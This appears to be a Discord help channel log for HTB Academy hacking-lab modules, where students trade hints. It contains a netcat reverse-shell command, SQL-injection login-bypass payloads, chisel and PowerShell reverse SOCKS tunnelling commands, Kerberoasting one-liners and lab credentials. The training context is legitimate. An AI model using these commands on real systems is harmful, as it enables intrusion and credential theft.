#modules
1 messages · Page 90 of 1
@acoustic willow anything?
give me a sec let me double check because there is only ||2|| step for this flag
@rustic sage working fine for me when running klist do you see LINUX01$ ticket info?
the one we talked about before didnt work
yea that isn't right shoot me a dm with your ||kinit|| command (spoiler reason)
and i literally cant find any more type keytab file
Hmm nothing
yeah this isn't the place for that plus you join thm discord like a month ago 2 day a part from htb discord and your account isn't verify on both side but either way this channel is for HTB academy module
and if you need resources don't ask here, there is#resources-tools for that
ok
Hello,
In attack common services - FTP, the ftp service does not show up since yesterday despite restarting the target.
┌─[us-academy-1]─[10.10.14.68]─[htb-ac-746322@htb-epoa3o85ku]─[~]
└──╼ [★]$ nmap 10.129.168.77 -sC -sV -p2121,21
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-09 15:54 BST
Nmap scan report for 10.129.168.77
Host is up (0.0037s latency).
PORT STATE SERVICE VERSION
21/tcp closed ftp
2121/tcp closed ccproxy-ftp
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
reset the target machine a few time if that doesn't fix the issue contact support (this is a known bug)
thx
daniel@MARKUP C:\Log-Management>C:\Log-Management\nc64.exe -e cmd.exe 10.10.14.9 1234
This version of C:\Log-Management\nc64.exe is not compatible with the version of Windows you're running. Check your computer's system information and th
en contact the software publisher.
iam download nc.exe in not result
help me
pls don't spam and what module and section is this?
starting point -> markup
sorry
whoever can solve https://academy.hackthebox.com/module/112/section/2117 with steps please send it in private
yes
starting point -> markup
please try to avoid this kind of an approach
use ++verify at #bot-commands and ask that at #starting-point
this channel is for HTB academy
@autumn pilot why?
because it will not help you understand the topic
well you ask for steps, not hints
same thing
not quite
most likely
follow the hint i give and read the don't ask just to ask don't ask questions like that but more specifically on what you did where you are stuck and what you need help with
you will benefit more of trying to build a question on X and Y thing, an try to provide some steps that you've done so far without providing any spoilers
It's also not to encourage the community to blindly ask for direct steps. So, it's not just for you.
attempting and pushing yourself to ask the appropriate question benefits you more than anyone else
How do you guys take notes? I’m very used to just remembering things and knowing where to find them again, but I’m always impressed by the notes some people take. I think it would be a good time saver for me
if you are asking about the program then personally i use obsidian
I saw obsidian was recommended and I downloaded it yeah, but do you guys use templates or something? Or just put in stuff as you go
I'm new to note-taking too, I'd say find your own style. Make a lot of mistakes, observe and revamp your notes. when a template style clicks for you and stick with it.
I built my notes based on Academy modules and everytime I use it for an assessment or boxes, I kinda re-arrange/delete/add things to make it easier to find.
I guess I could make notes per port/service
for the note i would say it's more about on the personally side of each people but this is a snippet of how i noted boxs in offshore
I see, thanks for that. That gives a bit of an idea how to approach note taking for boxes
yeah don't take it from me i'm new to good note taking too 😅 and i do remember tcm have some video on note taking a while back and they i think did have a note taking app ranking or something like that sometime ago so maybe give that a try
Thanks, will check that out too
honestly you should pin something like this so we can just refer that to others next time
Will probably spend a couple of days to set up everything. enumeration per port, privesc, cheatsheets etc
And then will look for some template for box/environment reports
the worst thing is if you forgot to note anything down after like god know how many step of hacking a lab and you and to write your "good note" from the dump file you call note 🤣 (talking from experience)
I will need to find something that is formulated better and if not will think of it
hi
What did you use to block out the names there lol?
greenshot I guess
can someone actually hint me ? https://academy.hackthebox.com/module/112/section/2117
im tired of this
What have you tried and what exactly is not working?
Enumerate the target Oracle database and submit the password hash of the user DBSNMP as the answer.
Yes, but what did you do? Use || sqlplus || as described in the module
i did
@acoustic owl
but idk what commands to execute
im also logged in
im legit lost
Read the chapter again. Everything is described
hint is easier i tried everything
Use || sqlplus || and read out the database as described in the module...
hey can i dm you rq?
Read || SQLplus - Log In and Oracle RDBMS - Interaction ||
Sure
Could I please get a nudge on the "INFORMATION GATHERING - WEB EDITION" model?
I have the answer but am having an issue recovering the flag. (Or im wrong, lol)
Which section, which question?
What exactly is not working?
Dm'd if thats alright
You are logged in in MS01?
|| Inveigh.exe || will be your friend
Ah darn, how did I not check that...
A very general tip.
BloodHound is really great, but it doesn't help in every situation
Think of it as a tool, not an all-purpose magic bullet
is there anyway to fix xfreerdp with black screen?
i have been getting that error all the week while doing the ad enumeration and attacks module
Try Remmina
Just hit enter and black screen goes away
🪄
Penetration Testers can come across various applications, such as Content Management Systems, custom web applications, internal portals used by developers and sysadmins, and more. It's common to find the same applications across many different environments. While an application may not be vulnerable in one environment, it may be misconfigured or...
Any had any experience with the: introduction to threat hunting & hunting with elastic module? Really struggling on the skills assessment.
tip for module Footprinting - IMAP/POP3, if stuck on last 2 questions install evolution
me
Would you be able to give any pointers on the second hunt in the skills assessment?
@zinc marsh
"+ 0 Which Windows NT version is installed on the workstation? (i.e. Windows X - case sensitive)
"
isnt answer is "Windows 10 Enterprise"
did you try just with ''
oh thanks
i have problem with machine cause doesnt react even on ping
Hi everyone! Has anyone done the kerberos attacks module? I can't get the impacket-getST command to work... was wondering if anyone could help
which section
the linux rbcd section
not sure what im doing wrong
im getting a KRB_AP_ERR_BADMATCH error
Hi all, on PASSWORD ATTACKS > Protected Files
Question : Use the cracked password of the user Kira and log in to the host and crack the "id_rsa" SSH key. Then, submit the password for the SSH key as the answer.
Am I supposed to have previously crack this account ?
strange.. when i opened a new bash terminal it worked
the exact same command
im a whole different level of confused now
lol
do you still have the "non working terminal" ? if so, you might compare env vars that are set (especially if there is a KRB5CCNAME set)
yeah so I used kdestroy
i have problem with machines cause i cant connect to any
openvpn is on
have you tried regenerate your ovpn config file ?
problem is otherwise
getST was trying to use my ccache file
yeah I think it was just trying to use a ccache file
wrote to support already but no respond
I don't use the included term but I think it relies on the Pwn box. Each time the pwnbox is up, you can't use your VM's VPN.
glad to know you found the explaination for this
even if the VPN is up there might be some other stuff preventing you to access the VM.
Please try this :
- stop the pwnbox
- download a new VPN connection profile
- start the VPN from your VM
- try to ping the target
if that doesn't work, try this :
- stop the VPN from your VM
- start the pwnbox
- try to ping the target
if that still doesn't work :
- respawn the target and try again all the previous steps
if still nothing : complain to HTB staff 😉
(I would even say you may first try all this using the pwnbox. When it will work on the pwnbox, try to make it work on your own machine
done and still doesnt work
if that doesn't work from the pwnbox after downloading a fresh new ovpn connection profile AND you have restarted the Target, you can call the support
Hello
I had a question I need help with
What Hashing protocol is capable of symmetric and asymmetric cryptography?
we don't talke about hashing protocol but algorithm
just a quick question am I the only person having trouble getting onto HTB?
why such question ?
No
It’s in one of the modules
they use the term "hashing protocol" ?
Sorry didn’t get what u said
I just cant even login to htb
Labs or Academy?
I have been logging into the wrong fucking thing for far too long im soooo mad rn
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"
what is the -B12 used for?
you may read the manual a little, or even ask ChatGPT for such generic question before asking imo
still not working ?
let me check
actually nah i stopped on metasploit in https://academy.hackthebox.com/module/77/section/843
tried a lot of resets of target machine
but target doesnt respond
at all
but i checked different module
and works perfectly
i cant continue this one module cause servers wont work
someone could give me a hint to dump the hash
i tried to upload mimikatz/rubeus
And i also tried to move the sam file to the attacker machine with smbserver
wait i think i got it
Hello! How did you realize that it was 'http-enum' ? Is there in a catergory of the NSE? Because http-enum it is not showed in the module 🤔
I really need the hint i dumped the sam and there is not user called bross
Search query and results page for Nmap.org and the Insecure.org network of sites
Yeah, but I mean, in the Module 'Nmap Script Engine' of Networking Enumeration with Nmap, it is not 'http-enum' but there is the categories of NSE, using for example --script banner, vuln, etc: categories, but 'http-enum' is something more especific that is no inside this module but you need it to get the flag 😅
The scripts used for the last scan interact with the webserver and its web application to find out more information about their versions and check various databases to see if there are known vulnerabilities. More information about NSE scripts and the corresponding categories we can find at: https://nmap.org/nsedoc/index.html
that is written in the section
nvm i got it just needed to think smarter
Goodeveing
Hi

I've been stuck on this section in Attacking Common Applications for days now. I don't get it at all. I'm on the Attacking WordPress section and I can't even find a single name with the wpscan tool. I've tried several different word and name lists and I come up empty whether I'm using wp-login or xmlrpc. Does anyone here have a hint they can give me or provide some guidance on what I might be doing wrong? I'm using the tool just as it's suggested in the section.
Never mind. I didn't realize that it meant to run the wpscan from the previous section on enumerating WordPress! Derp!
Get file flag.txt? y
Error opening local file flag.txt
smb: \Users\Administrator\Desktop\>```
why am i getting this error if im admin?
forgot the destination
28
Why I can not get the lsass.dmp in powershell attacking lsass.
The Linux file system is based on the Unix file system, which is a hierarchical structure that is composed of various components. At the top of this structure is the inode table, the basis for the entire file system. The inode table is a table of information associated with each file and directory on a Linux system. Inodes contain metadata about the file or directory, such as its permissions, size, type, owner, and so on. The inode table is like a database of information about every file and directory on a Linux system, allowing the operating system to quickly access and manage files. Files can be stored in the Linux file system in one of two ways:
Regular files
Directories
isn't the top of the structure the root instead of the inode table?
No, first comes the Inode Table and only then the Data Blocks
so above the root is the inode table?
Do you need a greater understanding of Linux inodes and file metadata?
Here we take a tour to make sure that we do truly understand inodes in Linux and what they do and contain. Firstly they do not contain the file name. This is stored separately and the file name is linked via the inode number to the inode. The inode itself contains the metadat...
hi all guys, can you explain to me what happened? since yesterday when I tried to connect via openvpn from the laptop it doesn't let me connect from any other device, yet I always use the usual command sudo openvpn -openvfile-
Download the VPN file again
Do you have the PwnBox open? If yes, this may cause problems
I don't have pwnbox open, I use kali
kali give me an output like this: time 20, restart 20
Show me a Printscreen
does permission and privilege have the same meaning or are they different?
Is not the same
can you explain? they seem similar but i cannot tell the difference
www.google.com?q= difference between permission and privilege
Im currently doing the knowledge check of getting started but the webpage is very slow and i cant work with it like this. Any ideas to fix this? Btw Ive already restarted the target
https://academy.hackthebox.com/module/147/section/1334 Stuck at the Password Attacks Lab - Easy since 2 hours. I cannot seem to find the right wordlists. I tried rockyou.txt, password.list, mut_password.list (only about 18k) with the "root" and username.list as the usernames.
It's hard to tell, as I can't remember the code behind that assessment. Can you show me the sql error for that?
yep in few sec
You should be able to get it, sticking with the mut_wordlist and username list from the module's resources. what command are you using btw?
the good one
hydra -L username.list -P password_mut.list ftp://<ip>
Also, you might want to mask/hide the answers, so you don't spoil anyone reading this channel.
add the -u, as mentioned in the section, it rotates usernames instead of password, which increases the probability of getting a valid login.
||the good one
Executing query: SELECT * FROM logins WHERE username='1' = '1' or '1' = '1'-- -' AND password = '';
Login successful as user: admin||
ohh right
||bad one
Executing query: SELECT * FROM logins WHERE username='1'='1'-- -' AND password = '';
Login failed!||
@obsidian blaze From my understanding
The bad one fails because, it checks for a username with multiple logical operators and just ultimately results FALSE which ends up failing.
Like even if you gave ||SELECT * FROM logins WHERE username='1'-- -' AND password = '';|| It just checks for a username 1 and if the database doesn't hold that value, it returns FALSE, which is again a fail to login
The good one, takes the case where, no matter what result you get from username=<logic/value>, regardless true or false. It'll check with the logical operator on the other end of the OR statement '1'='1' which is always true. so ultimately just for || username='1' = '1' or '1' = '1' || it's either gonna be (FALSE OR TRUE) or (TRUE OR TRUE), either way, you always get true.
Even this payload should work ||1' or '1' = '1'-- -|| this one might give you some understanding to what I said.
Mask this one too.
Hi, am on : https://academy.hackthebox.com/module/147/section/1322 (Password Attacks > Protected Files)
The question is : Use the cracked password of the user Kira and log in to the host and crack the "id_rsa" SSH key. Then, submit the password for the SSH key as the answer.
What I have tried :
- try to find kira's password through the FTP service password attack (using mutated_password_list, using rockyou)
- try to do some password reuse (using the cracked notes.zip file found in kira's home directory from the previously compromised
samusername) - try to find anything else to loot from the
samaccount that might help me findkira's password.
Could someone give me a small hint please ?
half an our in still no creds
why does it increase probability ? considering that the valid password is at the beginning of the list perhaps ?
guess so
Well, that's that
but it's better than having one username going through all the passwords, something like that perspective
it'll take some trials and errors, but you'll have to work on the wordlist every time
anyone on this please ? I must have missed something because the question doesn't makes earning any cubes (I guess it should be simple, but it's not ...)
u should have the kira credentials already
help
i forgot how to open a file on windows
Find the user for the SSH service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer.
ive got access to the account
and i found the flag location
just reuse them and crack the id_rsa
type?
type flag.txt
a txt document
so i found the username and password and then i found the location but when i try opening the flag.txt document there is nothing in it
i mean the command is just type
you sure thats the right one? its about 1,5 hours in the wordlist. still nothing
it is with the wordlists that they provide u
https://academy.hackthebox.com/module/143/section/1278 2nd question. I have done it manually, someone got upload powerview and make it works?
can you dm me your wordlist, if possible
try the wordlist without the mutation too, I guess like shockp says
always start with the "shortest --> longer" wordlists
Hi im still stuck in the documentation report part of the cpts training. Steve is learning about the tool that can make logging a session easier. He messages you for help mentioning that he would like to try to split the panes vertically. What do you tell him? (Answer format: [key] + [key] + [key], i.e., fill in the values for "key" and leave the brackets and + signs.) . i answerd ctrl + b + % it doesnt work can anyone can help me pls ?
thks
and if this is true we can set up like true = admin
like in the course
Yup, you can and it'll login as the admin
@misty current have u done the AD enumeration & attacks module?
Except for the Skill assessment 2, I haven't started it yet.
But, yeah I've done the rest.
AD Enumeration is probably the hardest module out of all of them 😄
someone could help Xuy plz ?
Hi everyone, I'm on the Login brute forcing --> skill assesement-website question 1 part I launched an operation that has already taken more than 30 minutes without success
Does anyone have an idea of the database I should use in this part?
Why don't you?
I need the answer too
You probably should obfuscate what you've already tried. You're ||missing a character||. Try ||searching the page for some of those characters||.
And, the order matters, and every key needs square brackets around it.
focus on the answer format
when you say 'reuse them', you mean reuse previously found password from the same Target (using initial foothold with the sam account ? because there is ||B@tm@n2022!||, ||P@ssw0rd3!|| from the zip file and that's all I had.
I also have the root password ||J0rd@n5|| but I don't remember about will passwords (I didn't took notes 😦 ).
I remember having to use the hint to find the password but since I finished this section, the hint button seems to have deseapeared ...
can u give me a hint for https://academy.hackthebox.com/module/143/section/1423 2nd question
Can i pm ?
well, everything you need to solve the question is right infront of you, plus the question is based on the material in the section
don't overcomplicate it, and read the question again and you will notice the difference
i tried uploading powerview, rubeus, mimikatz... and they dont work, also tried the manual way and it doesnt work either
i mean reuse the credentials for kira
to ssh
What privilege shell did you use? you can request the TGS only if your user is a domain user.
i am system
sorry, but, when am I supposed to have found her credentials ? when I found root password from the shadow.bak file in will's home dir ?
am using the web shell
I think you can too, with administrator prompt. I'm just not sure.
Also, by not working, you mean you were not able to get the hashes right?
no i cant run any of them
Oh, your access is a webshell?
I'm not sure how to help you shockp without giving you the answer. 😦
thanks
also doing it manually i get an error when i run this New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SQL01.inlanefreight.local:1433"
how you tried running it might be the problem here then.
Maybe by saying ||one of those tools does work, but you should use a recently acquired user instead||
i dont remember, in any of the exercises u have done before they ask u to get the kira credentials
i tried manually, powerview, mimikatz and rubeus
reverse shell makes life easier but, can you confirm|| if you have acquired a domainuser||
Hi all, stuck on the footprinting module, easy lab: when trying to connect to ssh I am getting a network unreachable message in the VPN log and the connection is closed. I have reset the target as well as reestablished connection to the VPN, successfully got and set permissions to the ssh keys, can scan p22 which returns open but stuck on the actual connection. Can anyone give me a nudge?
weird, I have scrolled every Password Attack sections, and have tried Ctrl + F "kira" but no result ...
have you tried doing it from the pwnbox ?
@keen compass I have not - will try that now
From my notes, I believe I was logged in as htb-student. I used one of those tools, and an account and it ||gave me the KRBTGS which I could then crack||
Yup, I'm wondering, why a web shell
There's no necessasity for a web shell there hmmm
Maybe wrong module link?
Huh?
I'm talking about the link that shockp linked
No web-shell. Just straight RDP.
^
Exactly
@keen compass thanks for the help - worked and lab completed.
be careful when having your VPN up the same time as the pwnbox you will get random disconnections, ensure that only one of them is up at a time
@keen compass yeah I realized that right after I connected and ftp stopped working, good times 😂
it is the skill assessment part 1?
A team member started an External Penetration Test and was moved to another urgent project before they could finish. The team member was able to find and exploit a file upload vulnerability after performing recon of the externally-facing web server. Before switching projects, our teammate left a password-protected web shell (with the credentials: admin:My_W3bsH3ll_P@ssw0rd!) in place for us to start from in the /uploads directory. As part of this assessment, our client, Inlanefreight, has authorized us to see how far we can take our foothold and is interested to see what types of high-risk issues exist within the AD environment. Leverage the web shell to gain an initial foothold in the internal network. Enumerate the Active Directory environment looking for flaws and misconfigurations to move laterally and ultimately achieve domain compromise.
oh true lol
you're asking about the Skill Assessment?
Now this makes more sense why you asked about DA
yea
Still Q2?
it was in a hint if i remember well
ye
No additional tools required then
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SQL01.inlanefreight.local:1433"
Try using a ||lolbin tool||.
i get an error with this command doing it manually
anyone familiar with https://academy.hackthebox.com/module/112/section/1245 ?
ask your question
the password is my problem
idk if im too tired
all what i try doesnt work lol
i obviously used msfconsole with output john
I made a brute force on a web page I get username and password but when I use them it does not work
Use this tool to identify, detect, and analyze hashes online
i dont know use metasploit to crack hashes
i always use hashcat or john
it says could not idnetify
what is the hash
I'll send the original one
You probably should remove that
?
copy what
I finished Footprinting months ago
got it?
where u at
I'm working through HTTP Attacks, lol
i didnt try this one
i told u its the original one
not the john format
hash
@zinc marsh sha1?
Add-Type -AssemblyName System.IdentityModel
setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
@pine dagger am i doing something wrong?
If its copied from the example, its probably right
Most of the questions from the AD Enumeration are solvable with the correct commands from the earlier chapters
it literally says u the hashcat id in the section
yea it is
and i get error lol u did it with the web shell?
no. Meterpreter
How long should I give hashcat to crack the bitlocker file in the Password attacks hard lab, before moving to a new list? I am using rockyou first.
dont use rockyou.txt first then
í will try with a revshell then
I feel like its going to be the mutated list but didn't want to leave rockyou til last in case since it was the example
start from shorter to larger always
Module: Windows Fundamentals
Problem: Connecting via rdp (xfreerdp or rdesktop linux cli to HTB VPS)
Alright. So two days have passed, I had other things to do in between. A Simple task which should take 5 minutes still hasn't been accomplished:
└──╼ [★]$ xfreerdp /v:10.129.58.106 /u:htb_student /p:'Academy_WinFun!'[16:17:53:533] [2593:2594] [ERROR][com.freerdp.core.transport] - BIO_should_retry returned a system error 32: Broken pipe
[16:17:53:533] [2593:2594] [ERROR][com.freerdp.core] - transport_write:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
transport_write:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[16:17:56:610] [2593:2594] [ERROR][com.freerdp.core] - freerdp_post_connect failed```
And yes, I have tried wrapping arguments in all kinds of single or double quotes.
This last is from pwnbox
can you ping the target ?
no
What happens? Do you get the screen?
well ill try from pwnbox
don't tries at the same time from pwnbox and your VM. Be sure to disconnect the VPN from your VM, then reload Openvpn service on the pwnbox
nope from pwnbox also not. But i figured maybe Frames dropped by Firewall
try to spawn another Target (from some other module) one person had similar issue yesterday related to a specific module
just to be sure this is not an HtB "bug" due to some cloud instance being not working properly
yeahn I'll respawn and try only pwnbox
getting access denied when i try to move the sam files on smb
if respawn is not working, try a target from another module, just try to ping it first, nothing more
this is for attacking SAM on password attacks
Usually they are pingable, right? afaik
they are always pingable yes
this is why I ask you to first just ping them, that will confirm the VPN works and potential filtering is set properly
umm I havn't done this module. it is not part of CPTS path ?
can you explain what you have done ? you have extracted the SAM and stored it into a file and you don't manage to exfiltrate it ?
someone could help me with chisel?
yeah basically i ran the commands in cmd as administrator and set up the server
i dont get it works in the target machine
just answering another guy in DM then if nobody answer you , I can
try to mount the share using net use
what does your smbserver says ?
can you paste server and clients commands ?
theyve got you working overtime 😂
please, try to stop smbserver, then cd .., then start again smbserver and retry
will do boss
i have found the problem
sorry to waste ur time
@keen compass ./chisel server --reverse -v -p 1234 --socks5
.\chisel client -v IP:1234 R:socks
glad to know, was it related to a removed or renamed folder ?
you run the server on your attack box ?
wrong path
yea
but i cannot connect with the client
do i need to gie rights or something? in the target machine
so you don't need the --socks5 (on the server) but anyways this is not your problem.
are you sure to have exact same version on client and server ?
what does the server says (if errors)
what does the clients says ?
can you ping the server from the client ?
good news that you fixed it
nothing
i am with a reverse shell so i cannot see the error
no specific rights
is the chisel client running under windows or linux ?
i just zip the chisel directory and i transfered it to the target machine
@keen compass
windows
PS C:\Users\Administrator\Desktop\chisel\chisel> .\chisel client -v *:1234 R:socks
Hm. alright. regarding my xfreerdp connect from Pawnbox: still shows similar connect-info (self.sign cert. etc.) , but this time it worked and gave me an RDP Window
So., somehow it works now 👍
there might be a Windows Firewall running on this box preventing outgoing connections ?
if so, you may try to set the server run on a well known port that is often allowed such as 445 or 443 ?
which box is it ?
@zinc marsh ?
Active directory enumeration & attacks - skills assessment part 1
oh, I am not that far, I won't be able to give much help, at least, if you cannot see the output from the client I may suggest a few things :
- check if outgoing connections are allowed (run a tcpdump on your attack box, then either use Invoke-WebRequest, nc, whatever on remote host
- if chisel is not running you may try to generate an meterpretter agent (I don't like it, but it may ease the discovery of the remote host, and even provide tooling to setup a tunnel)
Chisel is kinda garbage. I had a lot better time using this:
Hey guys, can anyone help me with 'Abusing HTTP Misconfigurations - Skills Assessment 1'? I just need a hint haha
Why does crackmapexec think that every credentials are correct? How can i fix this? I'm trying to crack the SMB account and dump the hashes.
i just need to transfer the psm1 file right?
Yeah. Super simple to use. Import the module, bind the port, and add to proxychains. Simple as.
ty i will try it
--local-auth
never had any issues using chisel
It's not 'bad', but unnecessarily complex. client/server model, just to run a socks server is a bit much.
Not sure? Haven't had the need.
ok, recently I pivoted using chisel both doint :
- a reverse socks to have access to the whole LAN
- a standard UDP port forwarding to expose the DC's NTP server to my attack box to time sync
anyway I will try your tool, it's always useful to have multiples in your pocket. Thanks for sharing
Nice
yep, I understand, might be quickly usable through evil-winrm, and could even not touch the filesystem which is cool too
Classic
hope you took notes of how you get there 😄
Import-Module .\Invoke-SocksProxy.psm1
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130
# Go through the system proxy:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy
# Validate certificate
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -certFingerprint '93061FDB30D69A435ACF96430744C5CC5473D44E'
# Give up after a number of failed connections to the handler:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -maxRetries 10```
@proud pine all this is with the ip where i want to connect?
the 192.168.49.130
Are you trying to do reverse? I think in your chisel example, you were just trying to set up socks, right?
For that, it sounds like you just want the basic
Invoke-SocksProxy -bindPort (port)
and with the ReverseSocksProxyHandler.py
i did that but i dont need the ReverseSocksProxyHandler.py to connect there?
DM me, so we can discuss more easily without spamming
Need some help
just ask and explain on which module you need help
i need a hint for the 4th question https://academy.hackthebox.com/module/143/section/1278
I have been 4 hours stuck here and i am not able to login to ms01
Hello Team!
Looking for some help in the section User and Group Management inside of Intro to the Windows Command line (linked below).
https://academy.hackthebox.com/module/167/section/1618
I'm looking for some help on:search for a domain user with the given name of Robert. What is this users Surname?
I swear I have been up and down over this article multiple times, tested at least 20 different ways and still unable to solve this. After some googling and chatGPT I'm still not able to solve this.
Help woudl be appriciated 🙂
please provide the question you are stuck on, what you have done so far and what your problem is.
I am in the brute forcing module
Section Skills Assessment website
I found the first username and password allowing me to access the next page, when I still run the brute forcing operation on this last one, I get several username and password
Which however does not work
I did
Hydra -l user -P password.txt Ip port http-post-form" admin_login......."
Windows Privilege Escalation
Kernel Exploits
I exploited || PrintNightmare || and have a user added that is an administrator. I got a shell as this user, however I can't get the flag from the administrator? Does anyone know what I can do to really become and admin? 🤔
Does anyone have any hints they can give on getting the flag in the Attacking WordPress section in Attacking Common Applications?
I did read somewhere about not being able to read some files, despite being part of the Administrator group.
I totally forgot what it was and I want to remember it so bad.
It'll be really great if someone can point out what that is 
extrasid abuse maybe?
i dont know the domains
This is not domain joined
Weird huh, but this is supposed the be the basic lab, so I don't get it haha
cant u dump the hash for the administrator?
maybe winpeas finds something interesting to privesc
I've tried using Metasploit with the usernames and password I have and tried using wp_discuz to find the flag. None of these have worked. Wp_discuz does appear to give me a shell based on the output I get, but I can't appear to do anything with it. None of my bash commands work to do any kind of enumeration. Does anyone have a hint or clue as to what I might be doing wrong?
I either get a no such job error or a 404 Not Found error.
I have been able to read the flag what I did is to open a new cmd prompt with the newly added user "hacker" as per CVE-2021-1675
Yes, that's possible because we have GUI access, but what if we didn't?
I think it's the UAC blocking us.
exactly
But I've been trying to bypass it for ages now, not sure if it's even possible haha
This may it be useful:
https://github.com/antonioCoco/RunasCs
I haven't tested it personally but should be able to accomplish what we want
That worked!
With it's --bypass-uac flag!
Oh that is so lovely. Works like a charm
Love it!
I'm using locate to find the flag and for some reason it thinks "locate" is part of what I'm searching for. Has anyone seen that before? I've tried using + and %2B to enter my bash script but it just isn't working.
Privilege escalation is a crucial phase during any security assessment. During this phase, we attempt to gain access to additional users, hosts, and resources to move closer to the assessment's overall goal. There are many ways to escalate privileges. This module aims to cover the most common methods emphasizing real-world misconfigurations and ...
Nice! @summer lava
So, could someone tell me what I'm doing wrong here in trying to get the flag in the Attacking WordPress section in Attacking Common Applications?
Is there some other tool I should be using besides Metasploit or wp_discuz.py? Like I said, it looks like wp_discuz gives me a shell, but none of the commands I use in that shell work. It's like its just a stuck page without any actual access.
I don't remember this but have you tried searching for sensitive files around the site?
That's my real issue. I can't search at all. None of my commands to do any kind of enumeration work despite the fact that it appears I have a working shell.
I can't even change directories.
DM me
Will do. Thank you!
please someone can help me for the 4th question
i have been stuck for 5 hours
This one?
Submit the contents of the flag.txt file on the Administrator desktop on MS01
yea
i cannot connect to ms01
What have you tried?
What access do you have, so far?
i have the creds and i just could find 1 ip ||172.16.6.3||
all i think lol
Definitely, you can list out what you've tried.
Would help us better to help you lol
Pingsweep, arp -a, ipconfig,ipconfig /all, all the commands with get-domain, proxychains (nmap, crackmapexec, mssql...)
i tried to get it through extrasid
as well
Yup, you haven't tried it all. You're missing something important.
It's the go-to method as soon as you get domain creds
just hit enter
LOL
Enter 🪄
i will continue later, i have been doing this skills assessment for almost 8 hours
mood
i need rest
Yeah, that's the solution sometimes lol
i dont even know what is the go-to method lol
It's something that'll give you creds, that's your hint 🙃
wdym
i have the creds
other creds
Nah, hunt for the three headed dog.
well time for rubeus then lol
Hi guys,
Any hint on last flag of Linux Provilege last flag please? I’ve been trying to explore the command that has setuid
DM pls
yeah.. DM .. just completed the module
Hello.
I'm domain admin, so why am I not able to delete this reg key?
I'm currently doing the DnsAdmins Section in Windows PE
Rights are taken over in each case at login. Simply log out and log in again
Ah, a log out and log in does the trick? I thought closing the shell session would do the trick but that didn't do so i started to wonder what was happening.
Thanks for the explanation.
Is it a CMD?
It's powershell
What are you doing?
Abusing DnsAdmins Group privileges by loading DLL's, everytime you do this, it kinda breaks the DNS service so you've gotta reset stuff to perform the attack again or make the DNS service work properly.
Are you trying to fix the DNS?
In this case, I'm trying to re-execute the attack with a different payload.
But, what is this "attack"?
What were the camand to do this? How do you load this DLL?
You can read about it in here -> https://academy.hackthebox.com/module/67/section/603
How do you learned this?
got it
Hello everybody I am stuck in the Nibbles machine
In Linux Privilege Escalation Assessment, im on Tomcat Service, successfully Authenticated, now im in host-manager and manager page, but what should i do from now on ?!
PMing you
Anybody experience with the nibbles machine?
when I put up a reverse shell and try to download it is stuck at 0% transfer
it sees my http server and sees the files size
but it wont transfer
Try asking in boxes. This channel is for HTB Academy
Nibbles is in HTB Academy. In the Getting Started module
It is a box, that is also used in HTB Academy. They didn't say they were doing Getting Started.
I'm stuck at https://academy.hackthebox.com/module/147/section/1335. I can't seem to find any way how to get into the root user. I looked at mysql, nothing. I saw that another user called dennis which i dont have access to. found no ssh keys or anything useful. anybody can hint me in the right direction?
you got a shell ?
i ssh'd into jason
did you pivot ?
no, how would i do that?
dennis?
yep
hmmm i mean i searched all possible interesting config and other files
there is no kerberos or anything in place
I didn't found any interesting config
indeed
but you can easily get dennis password
read again the docx
brute force?
no
ohh right
ohh 🙂 well i didn't find anything in the docx? the root password didnt work and i cant seem to find the mentioned settings file anywhere
and i can't access dennis' directory
you are in a realistic scenario
the docx provide credentials to some specific service
mysql?
you reused thoses credential to ssh into the server but initially the docx was talking about a service
hmmm the website?
instead of asking, just try what you are talking about
or do you just want the solution ?
not at all, but i just cant connect to both
now im just looking over at what i missed
i will give it another try
nvm im stupid, i tried mysql before but forgot the -p<password>..........
you are not stupid, just always double check what you are doing, and test locally if not sure about something
spending 2 more minutes verifying you typed something properly permit you to avoid having to try it again later and doubt about yourself, so thoses 2 minutes makes you earn a lot of time at the end
true
i need some help for this
i have found the user name and the password but when I'm writting the password to get acces of the ssh server , i have permission denied
got the flag, ty for the tip with mysql
np
@misty current u there?
https://academy.hackthebox.com/module/143/section/1278 someone could help me with the 4th question please
You got access to ||svc_sql credentials|| right? Think about what you can do with those
i have the svc_sql credentials
but i cannot access anywhere
Are you sure?
yea am trying to connect somewhere and im not able
If you are absolutely sure you've tried everything you can dm if you'd like
Permission denied (publickey)?
Thank for thé response I have already solve the problem
Kk :)
any reason why the activedirectory module isnt installed for the security assessment portion of Active Directory Enumeration and Attacks? i figured its a little "stealthier" to use that instead of loading powerview onto a machine? just my thought
skill assessment part 1?
yes
because there isnt active directory in that ip
i guess but if im able to upload powerview and query AD for information, why not use the AD powershell module?
Hey guys, I'm having trouble uploading ||Lazagne ||to the machine in Credential Hunting in Linux. I have access to Kira, just need to run ||Lazagne ||as that seems to be the key. Transferred the .||py||, but keep getting "no module found" when I run it. Any tips?
You need to upload the entire folder
Is this the folder that is downloaded from getting the tool online?
Yes, it includes the dependencies for .py
idk
Module: Using CrackMapExec
Section: Skill Assessment
Question: Gain access to the SQL01 and submit the contents of the flag located in C:\Users\Public\flag.txt.
From Question 1 I found user J***
Then kerberoast with that user and found A***. With the new user I did found access to anything. Then I check for mssql, check msdb database, didnt find anything interesting.
Can someone point me in a direction?
There's definitely things that powerview can do that the built-in AD can't, so I think they want to make sure you know how to do it with powerview.
